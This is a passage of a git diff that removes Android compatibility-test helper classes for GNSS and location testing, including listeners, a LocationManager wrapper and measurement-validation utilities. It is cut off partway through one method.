-        // with Cn0DbHz value greater than 18
-        if (event.getMeasurements().size() > 0) {
-            Log.i(mTag, "GnssMeasurementsEvent size:" + event.getMeasurements().size());
-            if (filterByEventSize) {
-                HashMap<Integer, Integer> constellationEventCount = new HashMap<>();
-                GnssClock gnssClock = event.getClock();
-                if (!gnssClock.hasFullBiasNanos()) {
-                    // If devices does not have FullBiasNanos yet, it will be difficult to check
-                    // the quality, so await this flag as well.
-                    return;
-                }
-                for (GnssMeasurement gnssMeasurement : event.getMeasurements()){
-                    int constellationType = gnssMeasurement.getConstellationType();
-                    // if the measurement's signal level is too small ignore
-                    if (gnssMeasurement.getCn0DbHz() < C_TO_N0_THRESHOLD_DB_HZ ||
-                        (gnssMeasurement.getState() & GnssMeasurement.STATE_TOW_DECODED) == 0) {
-                        continue;
-                    }
-                    if (constellationEventCount.containsKey(constellationType)) {
-                        constellationEventCount.put(constellationType,
-                            constellationEventCount.get(constellationType) + 1);
-                    }
-                    else {
-                        constellationEventCount.put(constellationType, 1);
-                    }
-                    if (constellationEventCount.get(constellationType) >= 4) {
-                        synchronized(mMeasurementsEvents) {
-                            mMeasurementsEvents.add(event);
-                        }
-                        mCountDownLatch.countDown();
-                        return;
-                    }
-                }
-            }
-            else {
-                synchronized(mMeasurementsEvents) {
-                    mMeasurementsEvents.add(event);
-                }
-                mCountDownLatch.countDown();
-            }
-        }
-    }
-
-    @Override
-    public void onStatusChanged(int status) {
-        mStatus = status;
-        mCountDownLatchStatus.countDown();
-    }
-
-    public boolean awaitStatus() throws InterruptedException {
-        return TestUtils.waitFor(mCountDownLatchStatus, STATUS_TIMEOUT_IN_SEC);
-    }
-
-    public boolean await() throws InterruptedException {
-        return TestUtils.waitFor(mCountDownLatch, MEAS_TIMEOUT_IN_SEC);
-    }
-
-
-    /**
-     * @return {@code true} if the state of the test ensures that data is expected to be collected,
-     *         {@code false} otherwise.
-     */
-    public boolean verifyStatus() {
-        switch (getStatus()) {
-            case GnssMeasurementsEvent.Callback.STATUS_NOT_SUPPORTED:
-                String message = "GnssMeasurements is not supported in the device:"
-                        + " verifications performed by this test may be skipped on older devices.";
-                Assert.fail(message);
-                return false;
-            case GnssMeasurementsEvent.Callback.STATUS_READY:
-                return true;
-            case GnssMeasurementsEvent.Callback.STATUS_LOCATION_DISABLED:
-                message =  "Location or GPS is disabled on the device:"
-                        + " enable location to continue the test";
-                Assert.fail(message);
-                return false;
-            default:
-                Assert.fail("GnssMeasurementsEvent status callback was not received.");
-        }
-        return false;
-    }
-
-    /**
-     * Get GPS Measurements Status.
-     *
-     * @return mStatus Gps Measurements Status
-     */
-    public int getStatus() {
-        return mStatus;
-    }
-
-    /**
-     * Get the current list of GPS Measurements Events.
-     *
-     * @return the current list of GPS Measurements Events
-     */
-    public List<GnssMeasurementsEvent> getEvents() {
-        synchronized(mMeasurementsEvents) {
-            List<GnssMeasurementsEvent> clone = new ArrayList<>();
-            clone.addAll(mMeasurementsEvents);
-            return clone;
-        }
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/TestGnssNavigationMessageListener.java b/tests/tests/location/src/android/location/cts/TestGnssNavigationMessageListener.java
deleted file mode 100644
index a2f12de..0000000
--- a/tests/tests/location/src/android/location/cts/TestGnssNavigationMessageListener.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import junit.framework.Assert;
-
-import android.location.GnssNavigationMessage;
-import android.util.Log;
-
-import java.util.List;
-import java.util.concurrent.CopyOnWriteArrayList;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Used for receiving GPS satellite Navigation Messages from the GPS engine.
- */
-class TestGnssNavigationMessageListener extends GnssNavigationMessage.Callback {
-
-    // Timeout in sec for count down latch wait
-    private static final int TIMEOUT_IN_SEC = 90;
-
-    private volatile int mStatus = -1;
-
-    private final String mTag;
-    private final int mEventsToCollect;
-    private final List<GnssNavigationMessage> mEvents;
-    private final CountDownLatch mCountDownLatch;
-
-    TestGnssNavigationMessageListener(String tag, int eventsToCollect) {
-        mTag = tag;
-        mCountDownLatch = new CountDownLatch(1);
-        mEventsToCollect = eventsToCollect;
-        mEvents = new CopyOnWriteArrayList<GnssNavigationMessage>();
-    }
-
-    @Override
-    public void onGnssNavigationMessageReceived(GnssNavigationMessage event) {
-        mEvents.add(event);
-        if (mEvents.size() > mEventsToCollect) {
-            mCountDownLatch.countDown();
-        }
-    }
-
-    @Override
-    public void onStatusChanged(int status) {
-        mStatus = status;
-        if (mStatus != GnssNavigationMessage.Callback.STATUS_READY) {
-            mCountDownLatch.countDown();
-        }
-    }
-
-    public boolean await() throws InterruptedException {
-        Log.i(mTag, "Number of GPS Navigation Message received = " + getEvents().size());
-        return TestUtils.waitFor(mCountDownLatch, TIMEOUT_IN_SEC);
-    }
-
-    /**
-     * Get GPS Navigation Message Status.
-     *
-     * @return mStatus Gps Navigation Message Status
-     */
-    public int getStatus() {
-        return mStatus;
-    }
-
-    /**
-     * @return {@code true} if the state of the test ensures that data is expected to be collected,
-     *         {@code false} otherwise.
-     */
-    public boolean verifyState() {
-        switch (getStatus()) {
-            case GnssNavigationMessage.Callback.STATUS_NOT_SUPPORTED:
-                SoftAssert.failAsWarning(mTag, "GnssNavigationMessage is not supported in the"
-                        + " device: verifications performed by this test will be skipped.");
-                return false;
-            case GnssNavigationMessage.Callback.STATUS_READY:
-                return true;
-            case GnssNavigationMessage.Callback.STATUS_LOCATION_DISABLED:
-                Log.i(mTag, "Location or GPS is disabled on the device: skipping the test.");
-                return false;
-            default:
-                Assert.fail("GnssNavigationMessage status callback was not received.");
-        }
-        return false;
-    }
-
-    /**
-     * Get list of GPS Navigation Message Events.
-     *
-     * @return mEvents list of GPS Navigation Message Events
-     */
-    public List<GnssNavigationMessage> getEvents() {
-        return mEvents;
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/TestGnssStatusCallback.java b/tests/tests/location/src/android/location/cts/TestGnssStatusCallback.java
deleted file mode 100644
index 76c94da..0000000
--- a/tests/tests/location/src/android/location/cts/TestGnssStatusCallback.java
+++ /dev/null
@@ -1,124 +0,0 @@
-/*
- * Copyright (C) 2016 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssStatus;
-
-import android.util.Log;
-import java.util.HashSet;
-import java.util.Set;
-import java.util.concurrent.CountDownLatch;
-
-/**
- * Used for receiving notifications when GNSS status has changed.
- */
-class TestGnssStatusCallback extends GnssStatus.Callback {
-
-    private final String mTag;
-    private GnssStatus mGnssStatus = null;
-    // Timeout in sec for count down latch wait
-    private static final int TIMEOUT_IN_SEC = 90;
-    private final CountDownLatch mLatchStart;
-    private final CountDownLatch mLatchStatus;
-    private final CountDownLatch mLatchTtff;
-    private final CountDownLatch mLatchStop;
-
-    // Store list of Satellites including Gnss Band, constellation & SvId
-    private Set<String> mGnssUsedSvStringIds;
-
-    TestGnssStatusCallback(String tag, int gpsStatusCountToCollect) {
-        this.mTag = tag;
-        mLatchStart = new CountDownLatch(1);
-        mLatchStatus = new CountDownLatch(gpsStatusCountToCollect);
-        mLatchTtff = new CountDownLatch(1);
-        mLatchStop = new CountDownLatch(1);
-        mGnssUsedSvStringIds = new HashSet<>();
-    }
-
-    @Override
-    public void onStarted() {
-        Log.i(mTag, "Gnss Status Listener Started");
-        mLatchStart.countDown();
-    }
-
-    @Override
-    public void onStopped() {
-        Log.i(mTag, "Gnss Status Listener Stopped");
-        mLatchStop.countDown();
-    }
-
-    @Override
-    public void onFirstFix(int ttffMillis) {
-        Log.i(mTag, "Gnss Status Listener Received TTFF");
-        mLatchTtff.countDown();
-    }
-
-    @Override
-    public void onSatelliteStatusChanged(GnssStatus status) {
-        Log.i(mTag, "Gnss Status Listener Received Status Update");
-        mGnssStatus = status;
-        for (int i = 0; i < status.getSatelliteCount(); i++) {
-            if (!status.usedInFix(i)) {
-                continue;
-            }
-            if (status.hasCarrierFrequencyHz(i)) {
-                mGnssUsedSvStringIds.add(
-                    TestMeasurementUtil.getUniqueSvStringId(status.getConstellationType(i),
-                        status.getSvid(i), status.getCarrierFrequencyHz(i)));
-            } else {
-                mGnssUsedSvStringIds.add(
-                    TestMeasurementUtil.getUniqueSvStringId(status.getConstellationType(i),
-                        status.getSvid(i)));
-            }
-        }
-        mLatchStatus.countDown();
-    }
-
-    /**
-     * Returns the list of SV String Ids which were used in fix during the collect
-     *
-     * @return mGnssUsedSvStringIds - Set of SV string Ids
-     */
-    public Set<String> getGnssUsedSvStringIds() {
-        return mGnssUsedSvStringIds;
-    }
-
-    /**
-     * Get GNSS Status.
-     *
-     * @return mGnssStatus GNSS Status
-     */
-    public GnssStatus getGnssStatus() {
-        return mGnssStatus;
-    }
-
-    public boolean awaitStart() throws InterruptedException {
-        return TestUtils.waitFor(mLatchStart, TIMEOUT_IN_SEC);
-    }
-
-    public boolean awaitStatus() throws InterruptedException {
-        return TestUtils.waitFor(mLatchStatus, TIMEOUT_IN_SEC);
-    }
-
-    public boolean awaitTtff() throws InterruptedException {
-        return TestUtils.waitFor(mLatchTtff, TIMEOUT_IN_SEC);
-    }
-
-    public boolean awaitStop() throws InterruptedException {
-        return TestUtils.waitFor(mLatchStop, TIMEOUT_IN_SEC);
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/TestLocationListener.java b/tests/tests/location/src/android/location/cts/TestLocationListener.java
deleted file mode 100644
index ea8db06..0000000
--- a/tests/tests/location/src/android/location/cts/TestLocationListener.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.location.cts;
-
-import android.location.Location;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.os.Bundle;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.ConcurrentLinkedQueue;
-import java.util.concurrent.CountDownLatch;
-
-/**
- * Used for receiving notifications from the LocationManager when the location has changed.
- */
-class TestLocationListener implements LocationListener {
-    private volatile boolean mProviderEnabled;
-    private volatile boolean mLocationReceived;
-
-    // Timeout in sec for count down latch wait
-    private static final int TIMEOUT_IN_SEC = 120;
-    private final CountDownLatch mCountDownLatch;
-    private ConcurrentLinkedQueue<Location> mLocationList = null;
-
-    TestLocationListener(int locationToCollect) {
-        mCountDownLatch = new CountDownLatch(locationToCollect);
-        mLocationList = new ConcurrentLinkedQueue<>();
-    }
-
-    @Override
-    public void onLocationChanged(Location location) {
-        mLocationReceived = true;
-        mLocationList.add(location);
-        mCountDownLatch.countDown();
-    }
-
-    @Override
-    public void onStatusChanged(String s, int i, Bundle bundle) {
-    }
-
-    @Override
-    public void onProviderEnabled(String s) {
-        if (LocationManager.GPS_PROVIDER.equals(s)) {
-            mProviderEnabled = true;
-        }
-    }
-
-    @Override
-    public void onProviderDisabled(String s) {
-        if (LocationManager.GPS_PROVIDER.equals(s)) {
-            mProviderEnabled = false;
-        }
-    }
-
-    public boolean await() throws InterruptedException {
-        return TestUtils.waitFor(mCountDownLatch, TIMEOUT_IN_SEC);
-    }
-
-    public boolean await(int timeInSec) throws InterruptedException {
-        return TestUtils.waitFor(mCountDownLatch, timeInSec);
-    }
-
-    /**
-     * Get the list of locations received.
-     *
-     * Makes a copy of {@code mLocationList}. New locations received after this call is
-     * made are not reflected in the returned list so that the returned list can be safely
-     * iterated without getting a ConcurrentModificationException. Occasionally,
-     * even after calling TestLocationManager.removeLocationUpdates(), the location listener
-     * can receive one or two location updates.
-     */
-    public List<Location> getReceivedLocationList(){
-        return new ArrayList(mLocationList);
-    }
-
-    /**
-     * Check if location provider is enabled.
-     *
-     * @return {@code true} if the location provider is enabled and {@code false}
-     *         if location provider is disabled.
-     */
-    public boolean isProviderEnabled() {
-        return mProviderEnabled;
-    }
-
-    /**
-     * Check if the location is received.
-     *
-     * @return {@code true} if the location is received and {@code false}
-     *         if location is not received.
-     */
-    public boolean isLocationReceived() {
-        return mLocationReceived;
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/TestLocationManager.java b/tests/tests/location/src/android/location/cts/TestLocationManager.java
deleted file mode 100644
index 0447109..0000000
--- a/tests/tests/location/src/android/location/cts/TestLocationManager.java
+++ /dev/null
@@ -1,247 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.content.Context;
-import android.location.GnssMeasurementsEvent;
-import android.location.GnssNavigationMessage;
-import android.location.GnssStatus;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.os.Handler;
-import android.os.Looper;
-import android.util.Log;
-
-import junit.framework.Assert;
-
-/**
- * A {@code LocationManager} wrapper that logs GNSS turn-on and turn-off.
- */
-public class TestLocationManager {
-
-    private static final String TAG = "TestLocationManager";
-    private LocationManager mLocationManager;
-    private Context mContext;
-
-    public TestLocationManager(Context context) {
-        mContext = context;
-        mLocationManager =
-                (LocationManager) mContext.getSystemService(Context.LOCATION_SERVICE);
-    }
-
-    /**
-     * See {@code LocationManager#removeUpdates(LocationListener)}.
-     *
-     * @param listener the listener to remove
-     */
-    public void removeLocationUpdates(LocationListener listener) {
-        Log.i(TAG, "Remove Location updates.");
-        mLocationManager.removeUpdates(listener);
-    }
-
-    /**
-     * See {@link android.location.LocationManager#registerGnssMeasurementsCallback
-     * (GnssMeasurementsEvent.Callback callback)}
-     *
-     * @param callback the listener to add
-     */
-    public void registerGnssMeasurementCallback(GnssMeasurementsEvent.Callback callback) {
-        Log.i(TAG, "Add Gnss Measurement Callback.");
-        boolean measurementListenerAdded =
-                mLocationManager.registerGnssMeasurementsCallback(callback);
-        if (!measurementListenerAdded) {
-            // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
-            Log.i(TAG, TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
-            Assert.fail(TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
-        }
-    }
-
-    /**
-     * See {@link android.location.LocationManager#registerGnssMeasurementsCallback(GnssMeasurementsEvent.Callback callback)}
-     *
-     * @param callback the listener to add
-     * @param handler the handler that the callback runs at.
-     */
-    public void registerGnssMeasurementCallback(GnssMeasurementsEvent.Callback callback,
-            Handler handler) {
-        Log.i(TAG, "Add Gnss Measurement Callback.");
-        boolean measurementListenerAdded =
-                mLocationManager.registerGnssMeasurementsCallback(callback, handler);
-        if (!measurementListenerAdded) {
-            // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
-            Log.i(TAG, TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
-            Assert.fail(TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
-        }
-    }
-
-    /**
-     * See {@link android.location.LocationManager#unregisterGnssMeasurementsCallback
-     * (GnssMeasurementsEvent.Callback)}.
-     *
-     * @param callback the listener to remove
-     */
-    public void unregisterGnssMeasurementCallback(GnssMeasurementsEvent.Callback callback) {
-        Log.i(TAG, "Remove Gnss Measurement Callback.");
-        mLocationManager.unregisterGnssMeasurementsCallback(callback);
-    }
-
-    /**
-     * See {@code LocationManager#requestLocationUpdates}.
-     *
-     * @param locationListener location listener for request
-     */
-    public void requestLocationUpdates(LocationListener locationListener, int minTimeMsec) {
-        if (mLocationManager.getProvider(LocationManager.GPS_PROVIDER) != null) {
-            Log.i(TAG, "Request Location updates.");
-            mLocationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER,
-                    minTimeMsec,
-                    0 /* minDistance */,
-                    locationListener,
-                    Looper.getMainLooper());
-        }
-    }
-
-    /**
-     * See {@code LocationManager#requestLocationUpdates}.
-     *
-     * @param locationListener location listener for request
-     */
-    public void requestLocationUpdates(LocationListener locationListener) {
-        requestLocationUpdates(locationListener, 0 /* minTimeMsec */);
-    }
-
-    /**
-     * See {@code LocationManager#requestNetworkLocationUpdates}.
-     *
-     * @param locationListener location listener for request
-     */
-    public void requestNetworkLocationUpdates(LocationListener locationListener) {
-        if (mLocationManager.getProvider(LocationManager.NETWORK_PROVIDER) != null) {
-            Log.i(TAG, "Request Network Location updates.");
-            mLocationManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER,
-                0 /* minTime*/,
-                0 /* minDistance */,
-                locationListener,
-                Looper.getMainLooper());
-        }
-    }
-
-    /**
-     * See {@code LocationManager#requestLocationUpdates}.
-     *
-     * @param locationListener location listener for request
-     */
-    public void requestPassiveLocationUpdates(LocationListener locationListener, int minTimeMsec) {
-        if (mLocationManager.getProvider(LocationManager.PASSIVE_PROVIDER) != null) {
-            Log.i(TAG, "Request Passive Location updates.");
-            mLocationManager.requestLocationUpdates(LocationManager.PASSIVE_PROVIDER,
-                    minTimeMsec,
-                    0 /* minDistance */,
-                    locationListener,
-                    Looper.getMainLooper());
-        }
-    }
-
-    /**
-     * See {@link android.location.LocationManager#sendExtraCommand}.
-     *
-     * @param command name of the command to send to the provider.
-     *
-     * @return true if the command succeeds.
-     */
-    public boolean sendExtraCommand(String command) {
-        Log.i(TAG, "Send Extra Command = " + command);
-        boolean extraCommandStatus = mLocationManager.sendExtraCommand(LocationManager.GPS_PROVIDER,
-                command, null);
-        Log.i(TAG, "Sent extra command (" + command + ") status = " + extraCommandStatus);
-        return extraCommandStatus;
-    }
-
-    /**
-     * Add a GNSS Navigation Message callback.
-     *
-     * @param callback a {@link GnssNavigationMessage.Callback} object to register.
-     * @return {@code true} if the listener was added successfully, {@code false} otherwise.
-     */
-    public boolean registerGnssNavigationMessageCallback(
-            GnssNavigationMessage.Callback callback) {
-        Log.i(TAG, "Add Gnss Navigation Message Callback.");
-        return mLocationManager.registerGnssNavigationMessageCallback(callback);
-    }
-
-    /**
-     * Add a GNSS Navigation Message callback.
-     *
-     * @param callback a {@link GnssNavigationMessage.Callback} object to register.
-     * @param handler the handler that the callback runs at.
-     * @return {@code true} if the listener was added successfully, {@code false} otherwise.
-     */
-    public boolean registerGnssNavigationMessageCallback(
-            GnssNavigationMessage.Callback callback, Handler handler) {
-        Log.i(TAG, "Add Gnss Navigation Message Callback.");
-        return mLocationManager.registerGnssNavigationMessageCallback(callback, handler);
-    }
-
-    /**
-     * Removes a GNSS Navigation Message callback.
-     *
-     * @param callback a {@link GnssNavigationMessage.Callback} object to remove.
-     */
-    public void unregisterGnssNavigationMessageCallback(GnssNavigationMessage.Callback callback) {
-        Log.i(TAG, "Remove Gnss Navigation Message Callback.");
-        mLocationManager.unregisterGnssNavigationMessageCallback(callback);
-    }
-
-    /**
-     * Add a GNSS Status callback.
-     *
-     * @param callback a {@link GnssStatus.Callback} object to register.
-     * @return {@code true} if the listener was added successfully, {@code false} otherwise.
-     */
-    public boolean registerGnssStatusCallback(GnssStatus.Callback callback) {
-        Log.i(TAG, "Add Gnss Status Callback.");
-        return mLocationManager.registerGnssStatusCallback(
-            callback, new Handler(Looper.getMainLooper()));
-    }
-
-    /**
-     * Removes a GNSS Status callback.
-     *
-     * @param callback a {@link GnssStatus.Callback} object to remove.
-     */
-    public void unregisterGnssStatusCallback(GnssStatus.Callback callback) {
-        Log.i(TAG, "Remove Gnss Status Callback.");
-        mLocationManager.unregisterGnssStatusCallback(callback);
-    }
-
-    /**
-     * Get LocationManager
-     *
-     * @return locationManager
-     */
-    public LocationManager getLocationManager() {
-        return mLocationManager;
-    }
-    /**
-     * Get Context
-     *
-     * @return context
-     */
-    public Context getContext() {
-        return mContext;
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
deleted file mode 100644
index e576af6..0000000
--- a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
+++ /dev/null
@@ -1,882 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssClock;
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-import android.location.GnssNavigationMessage;
-import android.location.GnssStatus;
-import android.location.LocationManager;
-import android.os.Build;
-import android.os.SystemProperties;
-import android.util.Log;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Helper class for GnssMeasurement Tests.
- */
-public final class TestMeasurementUtil {
-
-    private static final String TAG = "TestMeasurementUtil";
-
-    private static final long NSEC_IN_SEC = 1000_000_000L;
-    // Generally carrier phase quality prr's have uncertainties around 0.001-0.05 m/s, vs.
-    // doppler energy quality prr's closer to 0.25-10 m/s.  Threshold is chosen between those
-    // typical ranges.
-    private static final float THRESHOLD_FOR_CARRIER_PRR_UNC_METERS_PER_SEC = 0.15F;
-
-    // For gpsTimeInNs >= 1.14 * 10^18 (year 2016+)
-    private static final long GPS_TIME_YEAR_2016_IN_NSEC = 1_140_000_000L * NSEC_IN_SEC;
-
-    // Error message for GnssMeasurements Registration.
-    public static final String REGISTRATION_ERROR_MESSAGE = "Registration of GnssMeasurements" +
-            " listener has failed, this indicates a platform bug. Please report the issue with" +
-            " a full bugreport.";
-
-    private enum GnssBand {
-        GNSS_L1,
-        GNSS_L2,
-        GNSS_L5,
-        GNSS_E6
-    }
-
-    // The valid Gnss navigation message type as listed in
-    // android/hardware/libhardware/include/hardware/gps.h
-    public static final Set<Integer> GNSS_NAVIGATION_MESSAGE_TYPE =
-        new HashSet<Integer>(Arrays.asList(
-            GnssNavigationMessage.TYPE_UNKNOWN,
-            GnssNavigationMessage.TYPE_GPS_L1CA,
-            GnssNavigationMessage.TYPE_GPS_L2CNAV,
-            GnssNavigationMessage.TYPE_GPS_L5CNAV,
-            GnssNavigationMessage.TYPE_GPS_CNAV2,
-            GnssNavigationMessage.TYPE_GLO_L1CA,
-            GnssNavigationMessage.TYPE_BDS_D1,
-            GnssNavigationMessage.TYPE_BDS_D2,
-            GnssNavigationMessage.TYPE_GAL_I,
-            GnssNavigationMessage.TYPE_GAL_F
-        ));
-
-    /**
-     * Check if test can be run on the current device.
-     *
-     * @param  testLocationManager TestLocationManager
-     * @return true if Build.VERSION &gt;=  Build.VERSION_CODES.N and Location GPS present on
-     *         device.
-     */
-    public static boolean canTestRunOnCurrentDevice(TestLocationManager testLocationManager,
-            boolean isCtsVerifier) {
-       if (ApiLevelUtil.isBefore(Build.VERSION_CODES.N)) {
-            Log.i(TAG, "This test is designed to work on N or newer. " +
-                    "Test is being skipped because the platform version is being run in " +
-                    ApiLevelUtil.getApiLevel());
-            return false;
-        }
-
-        // If device does not have a GPS, skip the test.
-        if (!TestUtils.deviceHasGpsFeature(testLocationManager.getContext())) {
-           return false;
-        }
-
-        // If device has a GPS, but it's turned off in settings, and this is CTS verifier,
-        // fail the test now, because there's no point in going further.
-        // If this is CTS only,we'll warn instead, and quickly pass the test.
-        // (Cts non-verifier deep-indoors-forgiveness happens later, *if* needed)
-        boolean gpsProviderEnabled = testLocationManager.getLocationManager()
-                .isProviderEnabled(LocationManager.GPS_PROVIDER);
-        SoftAssert.failOrWarning(isCtsVerifier, " GPS location disabled on the device. " +
-                "Enable location in settings to continue test.", gpsProviderEnabled);
-        // If CTS only, allow an early exit pass
-        if (!isCtsVerifier && !gpsProviderEnabled) {
-            return false;
-        }
-
-        return true;
-    }
-
-    /**
-     * Check if pseudorange rate uncertainty in Gnss Measurement is in the expected range.
-     * See field description in {@code gps.h}.
-     *
-     * @param measurement GnssMeasurement
-     * @return true if this measurement has prr uncertainty in a range indicative of carrier phase
-     */
-    public static boolean gnssMeasurementHasCarrierPhasePrr(GnssMeasurement measurement) {
-      return (measurement.getPseudorangeRateUncertaintyMetersPerSecond() <
-              THRESHOLD_FOR_CARRIER_PRR_UNC_METERS_PER_SEC);
-    }
-
-    /**
-     * Assert all mandatory fields in Gnss Clock are in expected range.
-     * See mandatory fields in {@code gps.h}.
-     *
-     * @param clock       GnssClock
-     * @param softAssert  custom SoftAssert
-     * @param timeInNs    event time in ns
-     */
-    public static void assertGnssClockFields(GnssClock clock,
-                                             SoftAssert softAssert,
-                                             long timeInNs) {
-        softAssert.assertTrue("time_ns: clock value",
-                timeInNs,
-                "X >= 0",
-                String.valueOf(timeInNs),
-                timeInNs >= 0L);
-
-        // If full bias is valid and accurate within one sec. verify its sign & magnitude
-        if (clock.hasFullBiasNanos() &&
-                ((!clock.hasBiasUncertaintyNanos()) ||
-                        (clock.getBiasUncertaintyNanos() < NSEC_IN_SEC))) {
-            long gpsTimeInNs = timeInNs - clock.getFullBiasNanos();
-            softAssert.assertTrue("TimeNanos - FullBiasNanos = GpsTimeNanos: clock value",
-                    gpsTimeInNs,
-                    "gpsTimeInNs >= 1.14 * 10^18 (year 2016+)",
-                    String.valueOf(gpsTimeInNs),
-                    gpsTimeInNs >= GPS_TIME_YEAR_2016_IN_NSEC);
-        }
-    }
-
-    /**
-     * Asserts the same FullBiasNanos of multiple GnssMeasurementEvents at the same time epoch.
-     *
-     * <p>FullBiasNanos denotes the receiver clock bias calculated by the GNSS chipset. If multiple
-     * GnssMeasurementEvents are tagged with the same time epoch, their FullBiasNanos should be the
-     * same.
-     *
-     * @param softAssert custom SoftAssert
-     * @param events     GnssMeasurementEvents. Each event includes one GnssClock with a
-     *                   fullBiasNanos.
-     */
-    public static void assertGnssClockHasConsistentFullBiasNanos(SoftAssert softAssert,
-            List<GnssMeasurementsEvent> events) {
-        Map<Long, List<Long>> timeToFullBiasList = new HashMap<>();
-        for (GnssMeasurementsEvent event : events) {
-            long timeNanos = event.getClock().getTimeNanos();
-            long fullBiasNanos = event.getClock().getFullBiasNanos();
-
-            timeToFullBiasList.putIfAbsent(timeNanos, new ArrayList<>());
-            List<Long> fullBiasNanosList = timeToFullBiasList.get(timeNanos);
-            fullBiasNanosList.add(fullBiasNanos);
-        }
-
-        for (Map.Entry<Long, List<Long>> entry : timeToFullBiasList.entrySet()) {
-            long timeNanos = entry.getKey();
-            List<Long> fullBiasNanosList = entry.getValue();
-            if (fullBiasNanosList.size() < 2) {
-                continue;
-            }
-            long fullBiasNanos = fullBiasNanosList.get(0);
-            for (int i = 1; i < fullBiasNanosList.size(); i++) {
-                softAssert.assertTrue("FullBiasNanos are the same at the same timeNanos",
-                        timeNanos,
-                        "fullBiasNanosList.get(i) - fullBiasNanosList.get(0) == 0",
-                        String.valueOf(fullBiasNanosList.get(i) - fullBiasNanos),
-                        fullBiasNanosList.get(i) - fullBiasNanos == 0);
-            }
-        }
-    }
-
-    /**
-     * Assert all mandatory fields in Gnss Measurement are in expected range.
-     * See mandatory fields in {@code gps.h}.
-     *
-     * @param testLocationManager TestLocationManager
-     * @param measurement GnssMeasurement
-     * @param softAssert  custom SoftAssert
-     * @param timeInNs    event time in ns
-     */
-    public static void assertAllGnssMeasurementMandatoryFields(
-        TestLocationManager testLocationManager, GnssMeasurement measurement,
-        SoftAssert softAssert, long timeInNs) {
-
-        verifySvid(measurement, softAssert, timeInNs);
-        verifyReceivedSatelliteVehicleTimeInNs(measurement, softAssert, timeInNs);
-        verifyAccumulatedDeltaRanges(measurement, softAssert, timeInNs);
-
-        int state = measurement.getState();
-        softAssert.assertTrue("state: Satellite code sync state",
-                timeInNs,
-                "X >= 0",
-                String.valueOf(state),
-                state >= 0);
-
-        // Check received_gps_tow_uncertainty_ns
-        softAssert.assertTrueAsWarning("received_gps_tow_uncertainty_ns:" +
-                        " Uncertainty of received GPS Time-of-Week in ns",
-                timeInNs,
-                "X > 0",
-                String.valueOf(measurement.getReceivedSvTimeUncertaintyNanos()),
-                measurement.getReceivedSvTimeUncertaintyNanos() > 0L);
-
-        long timeOffsetInSec = TimeUnit.NANOSECONDS.toSeconds(
-                (long) measurement.getTimeOffsetNanos());
